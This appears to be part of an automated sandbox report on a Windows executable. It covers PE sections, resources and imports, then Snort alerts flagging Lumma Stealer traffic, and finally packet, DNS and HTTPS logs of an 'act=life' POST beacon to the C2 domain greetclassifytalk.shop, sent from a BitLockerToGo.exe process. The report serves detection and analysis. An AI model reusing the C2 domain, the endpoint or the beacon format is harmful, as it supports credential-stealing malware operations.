.edata	0x744000	0x4e	0x200	40228e8a1e4ba5eda4d2c4d863a22ae1	False	0.08984375	data	0.6513844786319263	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.idata	0x745000	0x13d0	0x1400	ec8785a06331a50b410999b917020d31	False	0.3169921875	data	4.39723632679586	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x747000	0x70	0x200	9ee5287835e330d2cf0d18d8b3239f7c	False	0.08203125	data	0.47139462148086453	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x748000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x749000	0x143de	0x14400	1682c49717a886cb4113bfa176701d0b	False	0.4810956790123457	data	5.75846340979481	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x75e000	0xf12c	0xf200	ad11cf28236240b943d24fc83cf873c1	False	0.2417032541322314	data	5.4277008612986934	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x749388	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640			0.2862903225806452
RT_ICON	0x749670	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192			0.4560810810810811
RT_ICON	0x749798	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688			0.4291044776119403
RT_ICON	0x74a640	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152			0.5649819494584838
RT_ICON	0x74aee8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320			0.6705202312138728
RT_ICON	0x74b450	0x6463	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9970815985057785
RT_ICON	0x7518b4	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896			0.16597779877184696
RT_ICON	0x755adc	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.20093360995850623
RT_ICON	0x758084	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6720			0.23106508875739645
RT_ICON	0x759aec	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.2926829268292683
RT_ICON	0x75ab94	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400			0.3639344262295082
RT_ICON	0x75b51c	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680			0.4308139534883721
RT_ICON	0x75bbd4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.5079787234042553
RT_GROUP_ICON	0x75c03c	0xbc	data			0.6595744680851063
RT_VERSION	0x75c0f8	0x3a0	data	Japanese	Japan	0.44719827586206895
RT_MANIFEST	0x75c498	0x8cb	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (2191), with CRLF line terminators	English	United States	0.31941359395824076
RT_MANIFEST	0x75cd64	0x67a	XML 1.0 document, ASCII text, with CRLF line terminators	Japanese	Japan	0.3968636911942099

Imports

DLL

Import

KERNEL32.dll

AddAtomA, AddVectoredExceptionHandler, CloseHandle, CreateEventA, CreateFileA, CreateIoCompletionPort, CreateMutexA, CreateSemaphoreA, CreateThread, CreateWaitableTimerExW, DeleteAtom, DeleteCriticalSection, DuplicateHandle, EnterCriticalSection, ExitProcess, FindAtomA, FormatMessageA, FreeEnvironmentStringsW, GetAtomNameA, GetConsoleMode, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetEnvironmentStringsW, GetErrorMode, GetHandleInformation, GetLastError, GetProcAddress, GetProcessAffinityMask, GetQueuedCompletionStatusEx, GetStartupInfoA, GetStdHandle, GetSystemDirectoryA, GetSystemInfo, GetSystemTimeAsFileTime, GetThreadContext, GetThreadPriority, GetTickCount, InitializeCriticalSection, IsDBCSLeadByteEx, IsDebuggerPresent, LeaveCriticalSection, LoadLibraryExW, LoadLibraryW, LocalFree, MultiByteToWideChar, OpenProcess, OutputDebugStringA, PostQueuedCompletionStatus, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, RaiseFailFastException, ReleaseMutex, ReleaseSemaphore, RemoveVectoredExceptionHandler, ResetEvent, ResumeThread, SetConsoleCtrlHandler, SetErrorMode, SetEvent, SetLastError, SetProcessAffinityMask, SetProcessPriorityBoost, SetThreadContext, SetThreadPriority, SetUnhandledExceptionFilter, SetWaitableTimer, Sleep, SuspendThread, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TryEnterCriticalSection, VirtualAlloc, VirtualFree, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject, WerGetFlags, WerSetFlags, WideCharToMultiByte, WriteConsoleW, WriteFile, __C_specific_handler

msvcrt.dll

___lc_codepage_func, ___mb_cur_max_func, __getmainargs, __initenv, __iob_func, __lconv_init, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _beginthread, _beginthreadex, _cexit, _commode, _endthreadex, _errno, _fmode, _initterm, _lock, _memccpy, _onexit, _setjmp, _strdup, _ultoa, _unlock, abort, calloc, exit, fprintf, fputc, free, fwrite, localeconv, longjmp, malloc, memcpy, memmove, memset, printf, realloc, signal, strerror, strlen, strncmp, vfprintf, wcslen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Japanese	Japan
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/02/24-17:58:17.045554	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49737	443	192.168.2.4	104.21.51.78
05/02/24-17:58:24.101749	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49742	443	192.168.2.4	104.21.51.78
05/02/24-17:58:16.141641	UDP	2052028	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (greetclassifytalk .shop)	49831	53	192.168.2.4	1.1.1.1
05/02/24-17:58:22.145210	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49741	443	192.168.2.4	104.21.51.78
05/02/24-17:58:16.342531	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49736	443	192.168.2.4	104.21.51.78
05/02/24-17:58:21.230919	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49740	443	192.168.2.4	104.21.51.78
05/02/24-17:58:25.205454	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49743	443	192.168.2.4	104.21.51.78
05/02/24-17:58:20.405974	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49739	443	192.168.2.4	104.21.51.78
05/02/24-17:58:19.442158	TCP	2052037	ET TROJAN Observed Lumma Stealer Related Domain (greetclassifytalk .shop in TLS SNI)	49738	443	192.168.2.4	104.21.51.78

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 2, 2024 17:58:16.245809078 CEST	49736	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:16.245839119 CEST	443	49736	104.21.51.78	192.168.2.4
May 2, 2024 17:58:16.245908976 CEST	49736	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:16.342530966 CEST	49736	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:16.342556000 CEST	443	49736	104.21.51.78	192.168.2.4
May 2, 2024 17:58:16.530976057 CEST	443	49736	104.21.51.78	192.168.2.4
May 2, 2024 17:58:16.531059980 CEST	49736	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:16.534950018 CEST	49736	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:16.534955025 CEST	443	49736	104.21.51.78	192.168.2.4
May 2, 2024 17:58:16.535193920 CEST	443	49736	104.21.51.78	192.168.2.4
May 2, 2024 17:58:16.587460041 CEST	49736	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:16.587475061 CEST	49736	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:16.587546110 CEST	443	49736	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.036206961 CEST	443	49736	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.036288023 CEST	443	49736	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.036369085 CEST	49736	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.038696051 CEST	49736	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.038708925 CEST	443	49736	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.045084000 CEST	49737	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.045114040 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.045279980 CEST	49737	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.045553923 CEST	49737	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.045564890 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.232688904 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.232747078 CEST	49737	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.233962059 CEST	49737	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.233966112 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.234162092 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.240511894 CEST	49737	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.240530014 CEST	49737	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.240569115 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.748414040 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.748738050 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.748779058 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.748779058 CEST	49737	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.748789072 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.748836994 CEST	49737	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.748846054 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.748872995 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.748914957 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.748939037 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.748972893 CEST	49737	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.748981953 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.748991966 CEST	49737	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.749541044 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.749567986 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.749588013 CEST	49737	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.749593019 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.749636889 CEST	49737	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.749814034 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.749901056 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.749983072 CEST	49737	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.750097990 CEST	49737	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.750109911 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:17.750118017 CEST	49737	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:17.750123024 CEST	443	49737	104.21.51.78	192.168.2.4
May 2, 2024 17:58:19.441515923 CEST	49738	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:19.441550016 CEST	443	49738	104.21.51.78	192.168.2.4
May 2, 2024 17:58:19.441612959 CEST	49738	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:19.442157984 CEST	49738	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:19.442171097 CEST	443	49738	104.21.51.78	192.168.2.4
May 2, 2024 17:58:19.624828100 CEST	443	49738	104.21.51.78	192.168.2.4
May 2, 2024 17:58:19.624974966 CEST	49738	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:19.651770115 CEST	49738	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:19.651782990 CEST	443	49738	104.21.51.78	192.168.2.4
May 2, 2024 17:58:19.652360916 CEST	443	49738	104.21.51.78	192.168.2.4
May 2, 2024 17:58:19.654077053 CEST	49738	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:19.654226065 CEST	49738	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:19.654253960 CEST	443	49738	104.21.51.78	192.168.2.4
May 2, 2024 17:58:19.654313087 CEST	49738	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:19.654320002 CEST	443	49738	104.21.51.78	192.168.2.4
May 2, 2024 17:58:20.159718990 CEST	443	49738	104.21.51.78	192.168.2.4
May 2, 2024 17:58:20.159801006 CEST	443	49738	104.21.51.78	192.168.2.4
May 2, 2024 17:58:20.159852982 CEST	49738	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:20.169570923 CEST	49738	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:20.169585943 CEST	443	49738	104.21.51.78	192.168.2.4
May 2, 2024 17:58:20.405605078 CEST	49739	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:20.405642986 CEST	443	49739	104.21.51.78	192.168.2.4
May 2, 2024 17:58:20.405709982 CEST	49739	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:20.405973911 CEST	49739	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:20.405987978 CEST	443	49739	104.21.51.78	192.168.2.4
May 2, 2024 17:58:20.590395927 CEST	443	49739	104.21.51.78	192.168.2.4
May 2, 2024 17:58:20.590461016 CEST	49739	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:20.591996908 CEST	49739	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:20.592006922 CEST	443	49739	104.21.51.78	192.168.2.4
May 2, 2024 17:58:20.592226982 CEST	443	49739	104.21.51.78	192.168.2.4
May 2, 2024 17:58:20.593588114 CEST	49739	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:20.593687057 CEST	49739	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:20.596609116 CEST	443	49739	104.21.51.78	192.168.2.4
May 2, 2024 17:58:21.077544928 CEST	443	49739	104.21.51.78	192.168.2.4
May 2, 2024 17:58:21.077627897 CEST	443	49739	104.21.51.78	192.168.2.4
May 2, 2024 17:58:21.077723026 CEST	49739	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:21.077774048 CEST	49739	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:21.077789068 CEST	443	49739	104.21.51.78	192.168.2.4
May 2, 2024 17:58:21.230338097 CEST	49740	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:21.230422020 CEST	443	49740	104.21.51.78	192.168.2.4
May 2, 2024 17:58:21.230509043 CEST	49740	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:21.230918884 CEST	49740	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:21.230956078 CEST	443	49740	104.21.51.78	192.168.2.4
May 2, 2024 17:58:21.411376953 CEST	443	49740	104.21.51.78	192.168.2.4
May 2, 2024 17:58:21.411489010 CEST	49740	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:21.412667036 CEST	49740	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:21.412687063 CEST	443	49740	104.21.51.78	192.168.2.4
May 2, 2024 17:58:21.412904024 CEST	443	49740	104.21.51.78	192.168.2.4
May 2, 2024 17:58:21.415448904 CEST	49740	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:21.415663004 CEST	49740	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:21.415713072 CEST	443	49740	104.21.51.78	192.168.2.4
May 2, 2024 17:58:21.415785074 CEST	49740	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:21.415798903 CEST	443	49740	104.21.51.78	192.168.2.4
May 2, 2024 17:58:21.943799019 CEST	443	49740	104.21.51.78	192.168.2.4
May 2, 2024 17:58:21.943907976 CEST	443	49740	104.21.51.78	192.168.2.4
May 2, 2024 17:58:21.944092989 CEST	49740	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:21.944159031 CEST	49740	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:22.144835949 CEST	49741	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:22.144875050 CEST	443	49741	104.21.51.78	192.168.2.4
May 2, 2024 17:58:22.144937992 CEST	49741	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:22.145210028 CEST	49741	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:22.145225048 CEST	443	49741	104.21.51.78	192.168.2.4
May 2, 2024 17:58:22.327846050 CEST	443	49741	104.21.51.78	192.168.2.4
May 2, 2024 17:58:22.327940941 CEST	49741	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:22.328982115 CEST	49741	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:22.328989029 CEST	443	49741	104.21.51.78	192.168.2.4
May 2, 2024 17:58:22.329183102 CEST	443	49741	104.21.51.78	192.168.2.4
May 2, 2024 17:58:22.330159903 CEST	49741	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:22.330254078 CEST	49741	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:22.330280066 CEST	443	49741	104.21.51.78	192.168.2.4
May 2, 2024 17:58:22.811590910 CEST	443	49741	104.21.51.78	192.168.2.4
May 2, 2024 17:58:22.811670065 CEST	443	49741	104.21.51.78	192.168.2.4
May 2, 2024 17:58:22.811750889 CEST	49741	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:23.903106928 CEST	49741	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:23.903143883 CEST	443	49741	104.21.51.78	192.168.2.4
May 2, 2024 17:58:24.100616932 CEST	49742	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:24.100653887 CEST	443	49742	104.21.51.78	192.168.2.4
May 2, 2024 17:58:24.100713968 CEST	49742	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:24.101748943 CEST	49742	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:24.101771116 CEST	443	49742	104.21.51.78	192.168.2.4
May 2, 2024 17:58:24.286366940 CEST	443	49742	104.21.51.78	192.168.2.4
May 2, 2024 17:58:24.286438942 CEST	49742	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:24.291913986 CEST	49742	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:24.291920900 CEST	443	49742	104.21.51.78	192.168.2.4
May 2, 2024 17:58:24.292138100 CEST	443	49742	104.21.51.78	192.168.2.4
May 2, 2024 17:58:24.293652058 CEST	49742	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:24.293731928 CEST	49742	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:24.293737888 CEST	443	49742	104.21.51.78	192.168.2.4
May 2, 2024 17:58:24.765860081 CEST	443	49742	104.21.51.78	192.168.2.4
May 2, 2024 17:58:24.765939951 CEST	443	49742	104.21.51.78	192.168.2.4
May 2, 2024 17:58:24.766000032 CEST	49742	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:24.772699118 CEST	49742	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:24.772716999 CEST	443	49742	104.21.51.78	192.168.2.4
May 2, 2024 17:58:25.204932928 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.204968929 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:25.205174923 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.205454111 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.205470085 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:25.390393019 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:25.390463114 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.391527891 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.391536951 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:25.391741991 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:25.393115997 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.393507004 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.393538952 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:25.393627882 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.393661022 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:25.393754005 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.393776894 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:25.393886089 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.393909931 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:25.394047022 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.394072056 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:25.394198895 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.394224882 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:25.394232988 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.394356012 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.394382954 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.440119982 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:25.440291882 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.440327883 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.440341949 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.488112926 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:25.488279104 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.488317013 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.488349915 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.536123037 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:25.536284924 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:25.570002079 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:25.659945011 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:26.748923063 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:26.749022007 CEST	443	49743	104.21.51.78	192.168.2.4
May 2, 2024 17:58:26.749080896 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:26.749315023 CEST	49743	443	192.168.2.4	104.21.51.78
May 2, 2024 17:58:26.749331951 CEST	443	49743	104.21.51.78	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 2, 2024 17:58:16.141640902 CEST	49831	53	192.168.2.4	1.1.1.1
May 2, 2024 17:58:16.240375042 CEST	53	49831	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 2, 2024 17:58:16.141640902 CEST	192.168.2.4	1.1.1.1	0x1799	Standard query (0)	greetclassifytalk.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 2, 2024 17:58:16.240375042 CEST	1.1.1.1	192.168.2.4	0x1799	No error (0)	greetclassifytalk.shop		104.21.51.78	A (IP address)	IN (0x0001)	false
May 2, 2024 17:58:16.240375042 CEST	1.1.1.1	192.168.2.4	0x1799	No error (0)	greetclassifytalk.shop		172.67.177.98	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

greetclassifytalk.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	104.21.51.78	443	7688	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-02 15:58:16 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: greetclassifytalk.shop
2024-05-02 15:58:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-02 15:58:17 UTC	814	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 15:58:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n036uj88arsd06aonodb7s7mju; expires=Mon, 26-Aug-2024 09:44:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7XJu1FbJnXwnZ8eIyiCgVU0ZmuK7lqu5wglTcbZXwmUWXsjBjzQlcttMzQp2k%2FTwEPi5qL4%2FVuu%2FebcqMai%2F8qSXhnK4uQvdXtx%2Fub0h4SmHQG0lvG0bS2qaUUY3naLRn%2B7%2FQ%2Bbxs1xL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d9363a588e0f6b-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 15:58:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-02 15:58:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

